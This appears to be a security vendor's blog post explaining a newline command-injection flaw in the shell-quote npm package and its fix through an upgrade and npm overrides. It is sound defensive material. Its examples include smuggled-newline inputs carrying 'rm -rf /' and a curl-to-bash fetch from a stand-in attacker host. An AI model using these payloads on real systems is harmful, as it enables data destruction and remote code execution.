How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

Introduction

A critical security flaw lurked in the dependency tree—the shell-quote package at version 1.8.3 contained a command injection vulnerability that could allow attackers to execute arbitrary code on the server. The package-lock.json file locked in this vulnerable version, and without intervention, any code path that processed user input through shell-quote's parsing or quoting functions was potentially exploitable.

The vulnerability, tracked as CVE-2026-9277, stems from shell-quote's failure to properly escape line terminator characters (\n, \r, and Unicode line separators). When user-controlled input containing these characters passes through shell-quote and eventually reaches a shell, attackers can break out of the intended command context and inject their own malicious commands.

This matters because shell-quote is a foundational package—it's used by popular tools like cross-spawn, npm-run-all, and many build systems. A single vulnerable transitive dependency can expose your entire application.

The Vulnerability Explained

The shell-quote package provides functions to parse and quote shell command strings safely. It's commonly used when applications need to construct shell commands from user input or pass arguments to child processes. The core promise is that shell-quote will properly escape dangerous characters so they're treated as literal strings, not shell metacharacters.

However, version 1.8.3 and earlier had a critical blind spot: line terminator characters were not being escaped. In shell syntax, a newline character effectively ends one command and begins another. Consider this attack scenario:

const shellQuote = require('shell-quote');

// User provides this malicious filename
const userInput = "file.txt\nrm -rf /";

// Application tries to safely quote the input
const quoted = shellQuote.quote([userInput]);

// Expected: 'file.txt\nrm -rf /'  (escaped newline)
// Actual in 1.8.3: 'file.txt
// rm -rf /'  (literal newline - command injection!)

When this quoted string is passed to a shell (via child_process.exec() or similar), the shell interprets the unescaped newline as a command separator. Instead of processing a single filename, it executes:
1. A partial command with file.txt
2. The attacker's injected command: rm -rf /

Real-World Attack Scenario

Imagine an Electron application (as indicated by the electron and electron-builder dependencies in this project's package.json) that allows users to specify file paths for processing:

const { exec } = require('child_process');
const shellQuote = require('shell-quote');

function processUserFile(filename) {
  // Developer thinks this is safe because shell-quote handles escaping
  const safeFilename = shellQuote.quote([filename]);
  exec(`cat ${safeFilename}`, (error, stdout) => {
    // Process output...
  });
}

// Attacker provides:
processUserFile("innocent.txt\ncurl attacker.com/shell.sh | bash");

With the vulnerable shell-quote 1.8.3, the attacker's payload executes, potentially downloading and running a malicious script with the application's privileges.

The Fix

The fix involves two precise changes to ensure the patched version of shell-quote is used throughout the entire dependency tree:

Before (Vulnerable)

package-lock.json:

"node_modules/shell-quote": {
  "version": "1.8.3",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
  "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",

After (Fixed)

package-lock.json:

"node_modules/shell-quote": {
  "version": "1.9.0",
  "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.9.0.tgz",
  "integrity": "sha512-Iov+JwFv/2HcTpcwNMKd8+IWNb8tboQJNQTkAY/LLVK7gGH9jy+LGkVqPxfekHl+yMmiqXszdGWBXgkfml7hjqA==",

package.json (new overrides section):

"overrides": {
  "shell-quote": "1.9.0"
}

Why Both Changes Were Necessary

1. package-lock.json update: This updates the direct resolution of shell-quote to 1.9.0, ensuring the fixed version is installed.

2. package.json overrides: This is the critical addition. The overrides field in npm forces ALL instances of shell-quote throughout the entire dependency tree to use version 1.9.0. Without this, transitive dependencies (packages that depend on shell-quote) might still pull in the vulnerable 1.8.3 version.

The shell-quote 1.9.0 release properly escapes line terminators by converting them to their escaped equivalents (\\n, \\r) before they reach the shell, ensuring they're treated as literal characters rather than command separators.

Key Takeaways

• Line terminators are shell metacharacters: Characters like \n and \r can break out of command context just like ; or |—shell-quote 1.8.3 missed this edge case
• Transitive dependencies require overrides: Simply updating package-lock.json isn't enough when vulnerable packages exist deep in your dependency tree—the overrides field ensures consistent patching
• Electron apps are high-value targets: This project uses Electron, meaning command injection could compromise the user's entire desktop environment, not just a sandboxed server
• Trust but verify escaping libraries: Even well-maintained packages like shell-quote can have gaps—defense in depth with input validation remains essential
• The integrity hash changed completely: Note how the SHA-512 integrity hash differs entirely between versions—this is your verification that the package contents have changed

How Orbis AppSec Detected This

• Source: User-influenced input entering the application through various entry points that eventually flow to shell command construction
• Sink: Any code path using shell-quote.quote() or shell-quote.parse() where the output is passed to shell execution functions like child_process.exec()
• Missing control: The shell-quote library (version 1.8.3) failed to escape line terminator characters, allowing command injection even when developers correctly used the library
• CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• Fix: Upgraded shell-quote from 1.8.3 to 1.9.0 and added npm overrides to ensure all transitive dependencies use the patched version

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-9277 demonstrates how a subtle escaping oversight—failing to handle line terminators—can escalate to critical arbitrary code execution. The shell-quote package is trusted by thousands of projects to safely construct shell commands, making this vulnerability particularly impactful.

The fix was straightforward: upgrade to version 1.9.0 and use npm overrides to ensure consistent patching across the dependency tree. However, the lesson extends beyond this single CVE. Defense in depth remains essential—combine proper escaping libraries with input validation, prefer spawn() over exec(), and implement automated dependency scanning to catch these issues before attackers do.

Your dependencies are part of your attack surface. Treat them accordingly.